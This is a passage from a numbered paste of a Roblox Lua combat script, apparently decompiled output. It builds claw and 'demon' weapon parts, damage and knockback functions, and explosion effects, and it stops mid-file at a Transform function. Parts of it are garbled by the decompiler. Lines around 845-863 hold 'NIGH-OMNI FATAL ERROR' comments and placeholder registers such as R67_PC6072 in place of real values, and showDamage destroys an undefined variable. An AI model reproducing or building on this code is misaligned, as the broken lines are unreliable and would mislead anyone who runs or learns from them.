  805. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  806. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  807. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
  808. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  809. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  810. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
  811. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  812. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  813. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  814. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  815. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  816. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  817. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  818. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  819. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  820. MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  821. MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
  822. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  823. ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  824. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  825. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  826. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
  827. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  828. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  829. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
  830. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  831. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  832. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  833. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  834. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  835. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  836. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  837. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  838. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  839. MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  840. MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
  841. local CBlade = {}
  842. local CBladeWelds = {}
  843. for _,c in pairs(m:children()) do
  844. if c.className == "Part" then
  845. table.insert(CBlade, R67_PC6072)
  846. end
  847. end
  848. for _,c in pairs(m:children()) do
  849. if c.className == "Weld" then
  850. table.insert(CBladeWelds, R67_PC6072)
  851. print(R66_PC6093)
  852. end
  853. end
  854. -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
  855.  
  856. -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
  857.  
  858. --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
  859. -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
  860.  
  861. -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
  862.  
  863. HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
  864. CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
  865. FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
  866. FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  867. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  868. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  869. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
  870. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  871. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  872. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
  873. TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3))
  874. TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  875. CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
  876. local DBlade = {}
  877. local DBladeWelds = {}
  878. for _,c in pairs(demon:children()) do
  879. if c.className == "Part" then
  880. table.insert(DBlade, c)
  881. end
  882. end
  883. for _,c in pairs(demon:children()) do
  884. if c.className == "Weld" then
  885. table.insert(DBladeWelds, c)
  886. print(c)
  887. end
  888. end
  889. demon.Parent = nil
  890.  
  891. paly = game.Players.LocalPlayer
  892. char = paly.Character
  893. torso = char.Torso
  894. neck = char.Torso.Neck
  895. hum = char.Humanoid
  896. Player = game:GetService("Players").LocalPlayer
  897. local mouse = Player:GetMouse()
  898. Character = Player.Character
  899. tors = Character.Torso
  900. lleg = Character["Left Leg"]
  901. root = Character.HumanoidRootPart
  902. hed = Character.Head
  903. rleg = Character["Right Leg"]
  904. rarm = Character["Right Arm"]
  905. larm = Character["Left Arm"]
  906. local Effects = {}
  907. attack = false
  908. vt = Vector3.new
  909. bc = BrickColor.new
  910. br = BrickColor.random
  911. it = Instance.new
  912. cf = CFrame.new
  913. euler = CFrame.fromEulerAnglesXYZ
  914. angles = CFrame.Angles
  915. matr = math.random
  916. local basiccooldown = math.huge
  917. local ultcooldown = math.huge
  918. local secondcooldown = math.huge
  919. local thirdcooldown = math.huge
  920.  
  921. local boll = Instance.new("Part",game.Lighting)
  922. boll.Transparency = 0.5
  923. boll.Material = "Neon"
  924. boll.BrickColor = tors.BrickColor
  925. boll.Anchored = true
  926. boll.Size = vt(1,1,1)
  927. boll.Shape = "Ball"
  928. boll.CanCollide = false
  929.  
  930. local shur = Instance.new("Part",game.Lighting)
  931. shur.Transparency = 0
  932. shur.Material = "Neon"
  933. shur.BrickColor = tors.BrickColor
  934. shur.Anchored = true
  935. shur.Size = vt(5,0.2,5)
  936. shur.CanCollide = false
  937. local Meshshur = Instance.new("CylinderMesh",shur)
  938.  
  939.  
  940. local boll = Instance.new("Part",game.Lighting)
  941. boll.Transparency = 0.5
  942. boll.Material = "Neon"
  943. boll.BrickColor = bc("Bright red")
  944. boll.Anchored = true
  945. boll.Size = vt(1,1,1)
  946. boll.Shape = "Ball"
  947. boll.CanCollide = false
  948.  
  949. local shur = Instance.new("Part",game.Lighting)
  950. shur.Transparency = 0
  951. shur.Material = "Neon"
  952. shur.BrickColor = bc("Bright red")
  953. shur.Anchored = true
  954. shur.Size = vt(5,0.2,5)
  955. shur.CanCollide = false
  956. local Meshshur = Instance.new("CylinderMesh",shur)
  957.  
  958. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  959. if hit.Parent==nil then
  960. return
  961. end
  962. h=hit.Parent:FindFirstChild("Humanoid")
  963. for _,v in pairs(hit.Parent:children()) do
  964. if v:IsA("Humanoid") then
  965. h=v
  966. end
  967. end
  968. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  969. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  970. end
  971. if hit.Parent.className=="Hat" then
  972. hit=hit.Parent.Parent:findFirstChild("Head")
  973. end
  974. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  975. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  976. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  977. return
  978. end]]
  979. -- hs(hit,1.2)
  980. c=Instance.new("ObjectValue")
  981. c.Name="creator"
  982. c.Value=game:service("Players").LocalPlayer
  983. c.Parent=h
  984. game:GetService("Debris"):AddItem(c,.5)
  985. Damage=math.random(minim,maxim)
  986. -- h:TakeDamage(Damage)
  987. blocked=false
  988. block=hit.Parent:findFirstChild("Block")
  989. if block~=nil then
  990. print(block.className)
  991. if block.className=="NumberValue" then
  992. if block.Value>0 then
  993. blocked=true
  994. if decreaseblock==nil then
  995. block.Value=block.Value-1
  996. end
  997. end
  998. end
  999. if block.className=="IntValue" then
  1000. if block.Value>0 then
  1001. blocked=true
  1002. if decreaseblock~=nil then
  1003. block.Value=block.Value-1
  1004. end
  1005. end
  1006. end
  1007. end
  1008. if blocked==false then
  1009. -- h:TakeDamage(Damage)
  1010. h.Health=h.Health-Damage
  1011. showDamage(hit.Parent,Damage,.5,TorsoColor)
  1012. else
  1013. h.Health=h.Health-(Damage/2)
  1014. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  1015. end
  1016. if Type=="Knockdown" then
  1017. hum=hit.Parent.Humanoid
  1018. hum.PlatformStand=true
  1019. coroutine.resume(coroutine.create(function(HHumanoid)
  1020. swait(1)
  1021. HHumanoid.PlatformStand=false
  1022. end),hum)
  1023. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  1024. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  1025. local bodvol=Instance.new("BodyVelocity")
  1026. bodvol.velocity=angle*knockback
  1027. bodvol.P=5000
  1028. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  1029. bodvol.Parent=hit
  1030. rl=Instance.new("BodyAngularVelocity")
  1031. rl.P=3000
  1032. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1033. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  1034. rl.Parent=hit
  1035. game:GetService("Debris"):AddItem(bodvol,.5)
  1036. game:GetService("Debris"):AddItem(rl,.5)
  1037. elseif Type=="Normal" then
  1038. vp=Instance.new("BodyVelocity")
  1039. vp.P=500
  1040. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  1041. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  1042. if KnockbackType==1 then
  1043. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  1044. elseif KnockbackType==2 then
  1045. vp.velocity=Property.CFrame.lookVector*knockback
  1046. end
  1047. if knockback>0 then
  1048. vp.Parent=hit.Parent.Torso
  1049. end
  1050. game:GetService("Debris"):AddItem(vp,.5)
  1051. elseif Type=="Up" then
  1052. local bodyVelocity=Instance.new("BodyVelocity")
  1053. bodyVelocity.velocity=vt(0,10,0)
  1054. bodyVelocity.P=1000
  1055. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  1056. bodyVelocity.Parent=hit
  1057. game:GetService("Debris"):AddItem(bodyVelocity,1)
  1058. rl=Instance.new("BodyAngularVelocity")
  1059. rl.P=3000
  1060. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1061. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  1062. rl.Parent=hit
  1063. game:GetService("Debris"):AddItem(rl,.5)
  1064. elseif Type=="Snare" then
  1065. bp=Instance.new("BodyPosition")
  1066. bp.P=2000
  1067. bp.D=100
  1068. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1069. bp.position=hit.Parent.Torso.Position
  1070. bp.Parent=hit.Parent.Torso
  1071. game:GetService("Debris"):AddItem(bp,1)
  1072. elseif Type=="Target" then
  1073. if Targetting==false then
  1074. ZTarget=hit.Parent.Torso
  1075. coroutine.resume(coroutine.create(function(Part)
  1076. swait(5)
  1077. end),ZTarget)
  1078. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  1079. targetgui=Instance.new("BillboardGui")
  1080. targetgui.Parent=ZTarget
  1081. targetgui.Size=UDim2.new(10,100,10,100)
  1082. targ=Instance.new("ImageLabel")
  1083. targ.Parent=targetgui
  1084. targ.BackgroundTransparency=1
  1085. targ.Image="rbxassetid://4834067"
  1086. targ.Size=UDim2.new(1,0,1,0)
  1087. cam.CameraType="Scriptable"
  1088. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1089. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1090. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1091. Targetting=true
  1092. RocketTarget=ZTarget
  1093. for i=1,Property do
  1094. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  1095. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  1096. swait()
  1097. end
  1098. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  1099. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1100. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1101. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  1102. end
  1103. Targetting=false
  1104. RocketTarget=nil
  1105. targetgui.Parent=nil
  1106. cam.CameraType="Custom"
  1107. end
  1108. end
  1109. debounce=Instance.new("BoolValue")
  1110. debounce.Name="DebounceHit"
  1111. debounce.Parent=hit.Parent
  1112. debounce.Value=true
  1113. game:GetService("Debris"):AddItem(debounce,Delay)
  1114. c=Instance.new("ObjectValue")
  1115. c.Name="creator"
  1116. c.Value=Player
  1117. c.Parent=h
  1118. game:GetService("Debris"):AddItem(c,.5)
  1119. CRIT=false
  1120. hitDeb=true
  1121. AttackPos=6
  1122. end
  1123. end
  1124.  
  1125. showDamage=function(Char,Dealt,du,Color)
  1126. m=Instance.new("Model")
  1127. m.Name=tostring(Dealt)
  1128. h=Instance.new("Humanoid")
  1129. h.Health=0
  1130. h.MaxHealth=0
  1131. h.Parent=m
  1132. c=Instance.new("Part")
  1133. c.Transparency=0
  1134. c.Material = "Neon"
  1135. c.BrickColor=bc("New Yeller")
  1136. c.Name="Head"
  1137. c.TopSurface=0
  1138. c.BottomSurface=0
  1139. local tick = Instance.new("Sound",c)
  1140. tick.SoundId = "rbxassetid://12221976"
  1141. tick.Volume = 5
  1142. tick.Pitch = 4
  1143. tick:Play()
  1144. c.formFactor="Plate"
  1145. c.Size=Vector3.new(1,.4,1)
  1146. ms=Instance.new("CylinderMesh")
  1147. ms.Scale=Vector3.new(.8,.8,.8)
  1148. if CRIT==true then
  1149. ms.Scale=Vector3.new(1,1.25,1)
  1150. end
  1151. ms.Parent=c
  1152. c.Reflectance=0
  1153. Instance.new("BodyGyro").Parent=c
  1154. c.Parent=m
  1155. if Char:findFirstChild("Head")~=nil then
  1156. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1157. elseif Char.Parent:findFirstChild("Head")~=nil then
  1158. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1159. end
  1160. f=Instance.new("BodyPosition")
  1161. f.P=2000
  1162. f.D=100
  1163. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1164. f.position=c.Position+Vector3.new(0,3,0)
  1165. f.Parent=c
  1166. game:GetService("Debris"):AddItem(m,.5+du)
  1167. c.CanCollide=false
  1168. m.Parent=workspace
  1169. c.CanCollide=false
  1170. p:Destroy()
  1171. end
  1172.  
  1173. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  1174. for _, c in pairs(workspace:children()) do
  1175. local hum = c:findFirstChild("Humanoid")
  1176. if hum ~= nil then
  1177. local head = c:findFirstChild("Torso")
  1178. if head ~= nil then
  1179. local targ = head.Position - Part.Position
  1180. local mag = targ.magnitude
  1181. if mag <= magni and c.Name ~= Player.Name then
  1182. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  1183. end
  1184. end
  1185. end
  1186. end
  1187. end
  1188.  
  1189. function Explode(rad,par)
  1190. local expart = Instance.new("Part",script.Parent)
  1191. local expart2 = Instance.new("Part",script.Parent)
  1192. local partMesh = Instance.new("SpecialMesh",expart)
  1193. partMesh.MeshType = "Sphere"
  1194. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1195. partMesh2.MeshType = "Sphere"
  1196. local expld = Instance.new("Explosion", script.Parent)
  1197. local plode = Instance.new("Sound",expart)
  1198. plode.SoundId = "rbxassetid://165970126"
  1199. plode.Volume = 1
  1200. plode.Pitch = 1
  1201. plode.Looped = false
  1202. plode:Play()
  1203. expld.BlastRadius = rad
  1204. expld.Position = par.Position
  1205. partMesh.Scale = vt(rad,rad,rad)
  1206. expart.Size = vt(1,1,1)*1.5
  1207. expart.Transparency = 0
  1208. expart.Anchored = true
  1209. expart.Material = "Neon"
  1210. expart.BrickColor = bc("White")
  1211. expart.CFrame = par.CFrame
  1212. partMesh2.Scale = vt(rad,rad,rad)
  1213. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1214. expart2.Transparency = 0.5
  1215. expart2.Anchored = true
  1216. expart2.Material = "Neon"
  1217. expart2.BrickColor = bc("New Yeller")
  1218. expart2.CFrame = par.CFrame
  1219. local value = 1*rad/6.5
  1220. par:Destroy()
  1221. for i = 0, 100 do
  1222. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1223. expart.CFrame = expart.CFrame
  1224. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1225. expart2.CFrame = expart.CFrame
  1226. value = value - 0.035*rad/6.5
  1227. if value < 1 then
  1228. value = 0.25
  1229. expart.Transparency = expart.Transparency + 0.025
  1230. expart2.Transparency = expart2.Transparency + 0.025
  1231. end
  1232. wait()
  1233. end
  1234. plode.Parent = nil
  1235. expart.Parent = nil
  1236. expart2.Parent = nil
  1237. expld.Parent = nil
  1238. end
  1239.  
  1240. function ExplodeMass(rad,par)
  1241. local expart = Instance.new("Part",script.Parent)
  1242. local expart2 = Instance.new("Part",script.Parent)
  1243. local partMesh = Instance.new("SpecialMesh",expart)
  1244. partMesh.MeshType = "Sphere"
  1245. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1246. partMesh2.MeshType = "Sphere"
  1247. local expld = Instance.new("Explosion", script.Parent)
  1248. local plode = Instance.new("Sound",workspace)
  1249. plode.SoundId = "rbxassetid://579687077"
  1250. plode.Volume = 1
  1251. plode.Pitch = 0.85
  1252. plode.Looped = false
  1253. plode:Play()
  1254. local plodez = Instance.new("Sound",workspace)
  1255. plodez.SoundId = "rbxassetid://288641686"
  1256. plodez.Volume = 1
  1257. plodez.Pitch = 0.75
  1258. plodez.Looped = false
  1259. plodez:Play()
  1260. local plodeza = Instance.new("Sound",workspace)
  1261. plodeza.SoundId = "rbxassetid://197161452"
  1262. plodeza.Volume = 0.85
  1263. plodeza.Pitch = 0.65
  1264. plodeza.Looped = false
  1265. plodeza:Play()
  1266. local plodezar = Instance.new("Sound",workspace)
  1267. plodezar.SoundId = "rbxassetid://197161452"
  1268. plodezar.Volume = 0.85
  1269. plodezar.Pitch = 0.25
  1270. plodezar.Looped = false
  1271. plodezar:Play()
  1272. expld.BlastRadius = rad
  1273. expld.Position = par.Position
  1274. wait(0.5)
  1275. par:Destroy()
  1276. plode.Parent = nil
  1277. expart.Parent = nil
  1278. expart2.Parent = nil
  1279. expld.Parent = nil
  1280. end
  1281. function ExplodeMassen(rad,par)
  1282. local expart = Instance.new("Part",script.Parent)
  1283. local expart2 = Instance.new("Part",script.Parent)
  1284. local partMesh = Instance.new("SpecialMesh",expart)
  1285. partMesh.MeshType = "Sphere"
  1286. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1287. partMesh2.MeshType = "Sphere"
  1288. local expld = Instance.new("Explosion", script.Parent)
  1289. local plode = Instance.new("Sound",workspace)
  1290. plode.SoundId = "rbxassetid://579687077"
  1291. plode.Volume = 1
  1292. plode.Pitch = 0.85
  1293. plode.Looped = false
  1294. plode:Play()
  1295. local plodez = Instance.new("Sound",workspace)
  1296. plodez.SoundId = "rbxassetid://288641686"
  1297. plodez.Volume = 1
  1298. plodez.Pitch = 0.75
  1299. plodez.Looped = false
  1300. plodez:Play()
  1301. local plodeza = Instance.new("Sound",workspace)
  1302. plodeza.SoundId = "rbxassetid://197161452"
  1303. plodeza.Volume = 0.85
  1304. plodeza.Pitch = 0.65
  1305. plodeza.Looped = false
  1306. plodeza:Play()
  1307. local plodezar = Instance.new("Sound",workspace)
  1308. plodezar.SoundId = "rbxassetid://197161452"
  1309. plodezar.Volume = 0.85
  1310. plodezar.Pitch = 0.25
  1311. plodezar.Looped = false
  1312. plodezar:Play()
  1313. expld.BlastRadius = rad
  1314. expld.Position = par.Position
  1315. partMesh.Scale = vt(rad,rad,rad)
  1316. expart.Size = vt(1,1,1)*1.5
  1317. expart.Transparency = 0
  1318. expart.Anchored = true
  1319. expart.Material = "Neon"
  1320. expart.BrickColor = bc("White")
  1321. expart.CFrame = par.CFrame
  1322. partMesh2.Scale = vt(rad,rad,rad)
  1323. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1324. expart2.Transparency = 0.5
  1325. expart2.Anchored = true
  1326. expart2.Material = "Neon"
  1327. expart2.BrickColor = tors.BrickColor
  1328. expart2.CFrame = par.CFrame
  1329. local value = 1*rad/10
  1330. par:Destroy()
  1331. for i = 0, 300 do
  1332. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1333. expart.CFrame = expart.CFrame
  1334. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1335. expart2.CFrame = expart.CFrame
  1336. value = value - 0.0175*rad/10
  1337. if value <= 0 then
  1338. expart.Transparency = expart.Transparency + 0.0125
  1339. expart2.Transparency = expart2.Transparency + 0.0125
  1340. value = 0.25
  1341. end
  1342. wait()
  1343. end
  1344. plode.Parent = nil
  1345. expart.Parent = nil
  1346. expart2.Parent = nil
  1347. expld.Parent = nil
  1348. end
  1349. local Ultramode = false
  1350.  
  1351. function Transform()
